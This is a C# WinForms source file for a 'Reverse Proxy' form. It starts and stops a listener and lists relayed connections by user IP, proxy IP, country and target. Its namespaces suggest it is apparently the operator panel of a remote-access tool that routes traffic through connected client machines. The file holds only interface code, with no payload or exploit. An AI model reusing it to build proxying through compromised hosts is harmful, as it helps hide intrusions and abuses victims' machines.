409 lines
18 KiB
C#
409 lines
18 KiB
C#
using System;
|
|
using System.ComponentModel;
|
|
using System.Drawing;
|
|
using System.Globalization;
|
|
using System.Net.Sockets;
|
|
using System.Windows.Forms;
|
|
using DevExpress.Utils;
|
|
using DevExpress.XtraBars;
|
|
using DevExpress.XtraEditors;
|
|
using DevExpress.XtraEditors.Controls;
|
|
using DevExpress.XtraGrid;
|
|
using DevExpress.XtraGrid.Columns;
|
|
using DevExpress.XtraGrid.Views.Base;
|
|
using DevExpress.XtraGrid.Views.Grid;
|
|
using DevExpress.XtraTab;
|
|
using Server.Connection;
|
|
using Server.Handle_Packet;
|
|
using Server.ReverseProxy;
|
|
|
|
namespace Server.Forms;
|
|
|
|
public class FormReverseProxy : XtraForm
|
|
{
|
|
private object _lock = new object();
|
|
|
|
private IContainer components;
|
|
|
|
private Label lblLocalServerPort;
|
|
|
|
public SimpleButton btnStop;
|
|
|
|
public SimpleButton btnStart;
|
|
|
|
private SpinEdit nudServerPort;
|
|
|
|
private PopupMenu popupMenuConntections;
|
|
|
|
private BarButtonItem CloseConnectionMenu;
|
|
|
|
private BarManager barManager1;
|
|
|
|
private BarDockControl barDockControlTop;
|
|
|
|
private BarDockControl barDockControlBottom;
|
|
|
|
private BarDockControl barDockControlLeft;
|
|
|
|
private BarDockControl barDockControlRight;
|
|
|
|
private GridControl gridControlConnections;
|
|
|
|
private GridView gridViewConnections;
|
|
|
|
private GridColumn UserIPColumn;
|
|
|
|
private GridColumn UserCountryColumn;
|
|
|
|
private GridColumn ProxyIPColumn;
|
|
|
|
private GridColumn ProxyCountryColumn;
|
|
|
|
private GridColumn TargetColumn;
|
|
|
|
private GridColumn ProxyTypeColumn;
|
|
|
|
private GridColumn ReceivedColumn;
|
|
|
|
private GridColumn SentColumn;
|
|
|
|
private XtraTabControl xtraTabControl1;
|
|
|
|
private XtraTabPage xtraTabPage1;
|
|
|
|
private PanelControl panelControl1;
|
|
|
|
private Clients ProxyClient => _reverseProxyHandler.CommunicationClient;
|
|
|
|
private HandleReverseProxy _reverseProxyHandler => Program.ReverseProxyHandler;
|
|
|
|
public FormReverseProxy()
|
|
{
|
|
InitializeComponent();
|
|
}
|
|
|
|
private ushort GetPortSafe()
|
|
{
|
|
if (ushort.TryParse(nudServerPort.Value.ToString(CultureInfo.InvariantCulture), out var result))
|
|
{
|
|
return result;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
private void ToggleConfigurationButtons(bool started)
|
|
{
|
|
btnStart.Enabled = !started;
|
|
nudServerPort.Enabled = !started;
|
|
btnStop.Enabled = started;
|
|
}
|
|
|
|
private void btnStart_Click(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
ushort portSafe = GetPortSafe();
|
|
if (portSafe == 0)
|
|
{
|
|
MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
|
|
return;
|
|
}
|
|
new HandleLogs().Addmsg($"Reverse Proxy is working on {ProxyClient.Ip}:{portSafe}...", Color.Blue);
|
|
_reverseProxyHandler.StartReverseProxyServer(portSafe);
|
|
ToggleConfigurationButtons(started: true);
|
|
}
|
|
catch (SocketException ex)
|
|
{
|
|
if (ex.ErrorCode == 10048)
|
|
{
|
|
MessageBox.Show("The port is already in use.", "Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
|
}
|
|
else
|
|
{
|
|
MessageBox.Show($"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
|
}
|
|
}
|
|
catch (Exception ex2)
|
|
{
|
|
MessageBox.Show("An unexpected error occurred: " + ex2.Message, "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
|
}
|
|
}
|
|
|
|
private void btnStop_Click(object sender, EventArgs e)
|
|
{
|
|
ToggleConfigurationButtons(started: false);
|
|
_reverseProxyHandler.StopReverseProxyServer();
|
|
new HandleLogs().Addmsg("Stopped Reverse Proxy on " + ProxyClient.Ip + "...", Color.Blue);
|
|
}
|
|
|
|
private void nudServerPort_ValueChanged(object sender, EventArgs e)
|
|
{
|
|
}
|
|
|
|
private void FormReverseProxy_Load(object sender, EventArgs e)
|
|
{
|
|
}
|
|
|
|
private void FormReverseProxy_FormClosing(object sender, FormClosingEventArgs e)
|
|
{
|
|
_reverseProxyHandler.ExitProxy();
|
|
}
|
|
|
|
public void OnReport(ReverseProxyClient[] OpenConnections)
|
|
{
|
|
lock (_lock)
|
|
{
|
|
gridControlConnections.DataSource = OpenConnections;
|
|
}
|
|
}
|
|
|
|
private void CloseConnectionMenu_ItemClick(object sender, ItemClickEventArgs e)
|
|
{
|
|
int[] selectedRows = gridViewConnections.GetSelectedRows();
|
|
foreach (int index in selectedRows)
|
|
{
|
|
_reverseProxyHandler.CloseConnection(index);
|
|
}
|
|
}
|
|
|
|
private void lstConnections_MouseUp(object sender, MouseEventArgs e)
|
|
{
|
|
if (e.Button == MouseButtons.Right)
|
|
{
|
|
popupMenuConntections.ShowPopup(gridControlConnections.PointToScreen(e.Location));
|
|
}
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && components != null)
|
|
{
|
|
components.Dispose();
|
|
}
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
private void InitializeComponent()
|
|
{
|
|
this.components = new System.ComponentModel.Container();
|
|
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormReverseProxy));
|
|
this.lblLocalServerPort = new System.Windows.Forms.Label();
|
|
this.nudServerPort = new DevExpress.XtraEditors.SpinEdit();
|
|
this.btnStop = new DevExpress.XtraEditors.SimpleButton();
|
|
this.btnStart = new DevExpress.XtraEditors.SimpleButton();
|
|
this.gridControlConnections = new DevExpress.XtraGrid.GridControl();
|
|
this.gridViewConnections = new DevExpress.XtraGrid.Views.Grid.GridView();
|
|
this.UserIPColumn = new DevExpress.XtraGrid.Columns.GridColumn();
|
|
this.UserCountryColumn = new DevExpress.XtraGrid.Columns.GridColumn();
|
|
this.ProxyIPColumn = new DevExpress.XtraGrid.Columns.GridColumn();
|
|
this.ProxyCountryColumn = new DevExpress.XtraGrid.Columns.GridColumn();
|
|
this.ProxyTypeColumn = new DevExpress.XtraGrid.Columns.GridColumn();
|
|
this.TargetColumn = new DevExpress.XtraGrid.Columns.GridColumn();
|
|
this.ReceivedColumn = new DevExpress.XtraGrid.Columns.GridColumn();
|
|
this.SentColumn = new DevExpress.XtraGrid.Columns.GridColumn();
|
|
this.barManager1 = new DevExpress.XtraBars.BarManager(this.components);
|
|
this.barDockControlTop = new DevExpress.XtraBars.BarDockControl();
|
|
this.barDockControlBottom = new DevExpress.XtraBars.BarDockControl();
|
|
this.barDockControlLeft = new DevExpress.XtraBars.BarDockControl();
|
|
this.barDockControlRight = new DevExpress.XtraBars.BarDockControl();
|
|
this.CloseConnectionMenu = new DevExpress.XtraBars.BarButtonItem();
|
|
this.popupMenuConntections = new DevExpress.XtraBars.PopupMenu(this.components);
|
|
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
|
|
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
|
|
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
|
|
((System.ComponentModel.ISupportInitialize)this.nudServerPort.Properties).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.gridControlConnections).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.gridViewConnections).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.barManager1).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.popupMenuConntections).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
|
|
this.panelControl1.SuspendLayout();
|
|
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
|
|
this.xtraTabControl1.SuspendLayout();
|
|
this.xtraTabPage1.SuspendLayout();
|
|
base.SuspendLayout();
|
|
this.lblLocalServerPort.AutoSize = true;
|
|
this.lblLocalServerPort.Location = new System.Drawing.Point(5, 10);
|
|
this.lblLocalServerPort.Name = "lblLocalServerPort";
|
|
this.lblLocalServerPort.Size = new System.Drawing.Size(89, 13);
|
|
this.lblLocalServerPort.TabIndex = 0;
|
|
this.lblLocalServerPort.Text = "Local Server Port";
|
|
this.nudServerPort.EditValue = new decimal(new int[4] { 3128, 0, 0, 0 });
|
|
this.nudServerPort.Location = new System.Drawing.Point(101, 3);
|
|
this.nudServerPort.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
|
|
this.nudServerPort.Name = "nudServerPort";
|
|
this.nudServerPort.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
|
|
{
|
|
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
|
|
});
|
|
this.nudServerPort.Size = new System.Drawing.Size(86, 28);
|
|
this.nudServerPort.TabIndex = 10;
|
|
this.btnStop.Dock = System.Windows.Forms.DockStyle.Right;
|
|
this.btnStop.Location = new System.Drawing.Point(822, 2);
|
|
this.btnStop.Name = "btnStop";
|
|
this.btnStop.Size = new System.Drawing.Size(160, 30);
|
|
this.btnStop.TabIndex = 9;
|
|
this.btnStop.Text = "Stop Listening";
|
|
this.btnStop.Click += new System.EventHandler(btnStop_Click);
|
|
this.btnStart.Dock = System.Windows.Forms.DockStyle.Right;
|
|
this.btnStart.Location = new System.Drawing.Point(662, 2);
|
|
this.btnStart.Name = "btnStart";
|
|
this.btnStart.Size = new System.Drawing.Size(160, 30);
|
|
this.btnStart.TabIndex = 8;
|
|
this.btnStart.Text = "Start Listening";
|
|
this.btnStart.Click += new System.EventHandler(btnStart_Click);
|
|
this.gridControlConnections.Dock = System.Windows.Forms.DockStyle.Fill;
|
|
this.gridControlConnections.Location = new System.Drawing.Point(0, 0);
|
|
this.gridControlConnections.MainView = this.gridViewConnections;
|
|
this.gridControlConnections.MenuManager = this.barManager1;
|
|
this.gridControlConnections.Name = "gridControlConnections";
|
|
this.gridControlConnections.Size = new System.Drawing.Size(982, 519);
|
|
this.gridControlConnections.TabIndex = 8;
|
|
this.gridControlConnections.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[1] { this.gridViewConnections });
|
|
this.gridControlConnections.MouseUp += new System.Windows.Forms.MouseEventHandler(lstConnections_MouseUp);
|
|
this.gridViewConnections.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[8] { this.UserIPColumn, this.UserCountryColumn, this.ProxyIPColumn, this.ProxyCountryColumn, this.ProxyTypeColumn, this.TargetColumn, this.ReceivedColumn, this.SentColumn });
|
|
this.gridViewConnections.GridControl = this.gridControlConnections;
|
|
this.gridViewConnections.Name = "gridViewConnections";
|
|
this.gridViewConnections.OptionsView.ShowGroupPanel = false;
|
|
this.UserIPColumn.Caption = "UserIP";
|
|
this.UserIPColumn.FieldName = "UserIP";
|
|
this.UserIPColumn.Name = "UserIPColumn";
|
|
this.UserIPColumn.OptionsColumn.AllowEdit = false;
|
|
this.UserIPColumn.Visible = true;
|
|
this.UserIPColumn.VisibleIndex = 0;
|
|
this.UserCountryColumn.Caption = "UserCountry";
|
|
this.UserCountryColumn.FieldName = "UserCountry";
|
|
this.UserCountryColumn.Name = "UserCountryColumn";
|
|
this.UserCountryColumn.OptionsColumn.AllowEdit = false;
|
|
this.UserCountryColumn.Visible = true;
|
|
this.UserCountryColumn.VisibleIndex = 1;
|
|
this.ProxyIPColumn.Caption = "ProxyIp";
|
|
this.ProxyIPColumn.FieldName = "ClientIP";
|
|
this.ProxyIPColumn.Name = "ProxyIPColumn";
|
|
this.ProxyIPColumn.OptionsColumn.AllowEdit = false;
|
|
this.ProxyIPColumn.Visible = true;
|
|
this.ProxyIPColumn.VisibleIndex = 2;
|
|
this.ProxyCountryColumn.Caption = "ProxyCountry";
|
|
this.ProxyCountryColumn.FieldName = "ClientCountry";
|
|
this.ProxyCountryColumn.Name = "ProxyCountryColumn";
|
|
this.ProxyCountryColumn.OptionsColumn.AllowEdit = false;
|
|
this.ProxyCountryColumn.Visible = true;
|
|
this.ProxyCountryColumn.VisibleIndex = 3;
|
|
this.ProxyTypeColumn.Caption = "Type";
|
|
this.ProxyTypeColumn.FieldName = "TypeStr";
|
|
this.ProxyTypeColumn.Name = "ProxyTypeColumn";
|
|
this.ProxyTypeColumn.OptionsColumn.AllowEdit = false;
|
|
this.ProxyTypeColumn.Visible = true;
|
|
this.ProxyTypeColumn.VisibleIndex = 4;
|
|
this.TargetColumn.Caption = "Target";
|
|
this.TargetColumn.FieldName = "TargetStr";
|
|
this.TargetColumn.Name = "TargetColumn";
|
|
this.TargetColumn.OptionsColumn.AllowEdit = false;
|
|
this.TargetColumn.Visible = true;
|
|
this.TargetColumn.VisibleIndex = 5;
|
|
this.ReceivedColumn.Caption = "Received";
|
|
this.ReceivedColumn.FieldName = "ReceivedStr";
|
|
this.ReceivedColumn.Name = "ReceivedColumn";
|
|
this.ReceivedColumn.OptionsColumn.AllowEdit = false;
|
|
this.ReceivedColumn.Visible = true;
|
|
this.ReceivedColumn.VisibleIndex = 6;
|
|
this.SentColumn.Caption = "Sent";
|
|
this.SentColumn.FieldName = "SendStr";
|
|
this.SentColumn.Name = "SentColumn";
|
|
this.SentColumn.OptionsColumn.AllowEdit = false;
|
|
this.SentColumn.Visible = true;
|
|
this.SentColumn.VisibleIndex = 7;
|
|
this.barManager1.DockControls.Add(this.barDockControlTop);
|
|
this.barManager1.DockControls.Add(this.barDockControlBottom);
|
|
this.barManager1.DockControls.Add(this.barDockControlLeft);
|
|
this.barManager1.DockControls.Add(this.barDockControlRight);
|
|
this.barManager1.Form = this;
|
|
this.barManager1.Items.AddRange(new DevExpress.XtraBars.BarItem[1] { this.CloseConnectionMenu });
|
|
this.barManager1.MaxItemId = 1;
|
|
this.barDockControlTop.CausesValidation = false;
|
|
this.barDockControlTop.Dock = System.Windows.Forms.DockStyle.Top;
|
|
this.barDockControlTop.Location = new System.Drawing.Point(0, 0);
|
|
this.barDockControlTop.Manager = this.barManager1;
|
|
this.barDockControlTop.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
|
|
this.barDockControlTop.Size = new System.Drawing.Size(984, 0);
|
|
this.barDockControlBottom.CausesValidation = false;
|
|
this.barDockControlBottom.Dock = System.Windows.Forms.DockStyle.Bottom;
|
|
this.barDockControlBottom.Location = new System.Drawing.Point(0, 584);
|
|
this.barDockControlBottom.Manager = this.barManager1;
|
|
this.barDockControlBottom.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
|
|
this.barDockControlBottom.Size = new System.Drawing.Size(984, 0);
|
|
this.barDockControlLeft.CausesValidation = false;
|
|
this.barDockControlLeft.Dock = System.Windows.Forms.DockStyle.Left;
|
|
this.barDockControlLeft.Location = new System.Drawing.Point(0, 0);
|
|
this.barDockControlLeft.Manager = this.barManager1;
|
|
this.barDockControlLeft.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
|
|
this.barDockControlLeft.Size = new System.Drawing.Size(0, 584);
|
|
this.barDockControlRight.CausesValidation = false;
|
|
this.barDockControlRight.Dock = System.Windows.Forms.DockStyle.Right;
|
|
this.barDockControlRight.Location = new System.Drawing.Point(984, 0);
|
|
this.barDockControlRight.Manager = this.barManager1;
|
|
this.barDockControlRight.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
|
|
this.barDockControlRight.Size = new System.Drawing.Size(0, 584);
|
|
this.CloseConnectionMenu.Caption = "Close Connection";
|
|
this.CloseConnectionMenu.Id = 0;
|
|
this.CloseConnectionMenu.Name = "CloseConnectionMenu";
|
|
this.CloseConnectionMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(CloseConnectionMenu_ItemClick);
|
|
this.popupMenuConntections.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[1]
|
|
{
|
|
new DevExpress.XtraBars.LinkPersistInfo(this.CloseConnectionMenu)
|
|
});
|
|
this.popupMenuConntections.Manager = this.barManager1;
|
|
this.popupMenuConntections.Name = "popupMenuConntections";
|
|
this.panelControl1.Controls.Add(this.btnStart);
|
|
this.panelControl1.Controls.Add(this.nudServerPort);
|
|
this.panelControl1.Controls.Add(this.lblLocalServerPort);
|
|
this.panelControl1.Controls.Add(this.btnStop);
|
|
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Bottom;
|
|
this.panelControl1.Location = new System.Drawing.Point(0, 550);
|
|
this.panelControl1.Name = "panelControl1";
|
|
this.panelControl1.Size = new System.Drawing.Size(984, 34);
|
|
this.panelControl1.TabIndex = 13;
|
|
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
|
|
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
|
|
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
|
|
this.xtraTabControl1.Name = "xtraTabControl1";
|
|
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
|
|
this.xtraTabControl1.Size = new System.Drawing.Size(984, 550);
|
|
this.xtraTabControl1.TabIndex = 14;
|
|
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
|
|
this.xtraTabPage1.Controls.Add(this.gridControlConnections);
|
|
this.xtraTabPage1.Name = "xtraTabPage1";
|
|
this.xtraTabPage1.Size = new System.Drawing.Size(982, 519);
|
|
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
|
|
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
|
base.ClientSize = new System.Drawing.Size(984, 584);
|
|
base.Controls.Add(this.xtraTabControl1);
|
|
base.Controls.Add(this.panelControl1);
|
|
base.Controls.Add(this.barDockControlLeft);
|
|
base.Controls.Add(this.barDockControlRight);
|
|
base.Controls.Add(this.barDockControlBottom);
|
|
base.Controls.Add(this.barDockControlTop);
|
|
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
|
|
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormReverseProxy.IconOptions.Icon");
|
|
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormReverseProxy.IconOptions.Image");
|
|
base.Name = "FormReverseProxy";
|
|
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
|
this.Text = "Reverse Proxy";
|
|
base.FormClosing += new System.Windows.Forms.FormClosingEventHandler(FormReverseProxy_FormClosing);
|
|
base.Load += new System.EventHandler(FormReverseProxy_Load);
|
|
((System.ComponentModel.ISupportInitialize)this.nudServerPort.Properties).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.gridControlConnections).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.gridViewConnections).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.barManager1).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.popupMenuConntections).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
|
|
this.panelControl1.ResumeLayout(false);
|
|
this.panelControl1.PerformLayout();
|
|
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
|
|
this.xtraTabControl1.ResumeLayout(false);
|
|
this.xtraTabPage1.ResumeLayout(false);
|
|
base.ResumeLayout(false);
|
|
base.PerformLayout();
|
|
}
|
|
}
|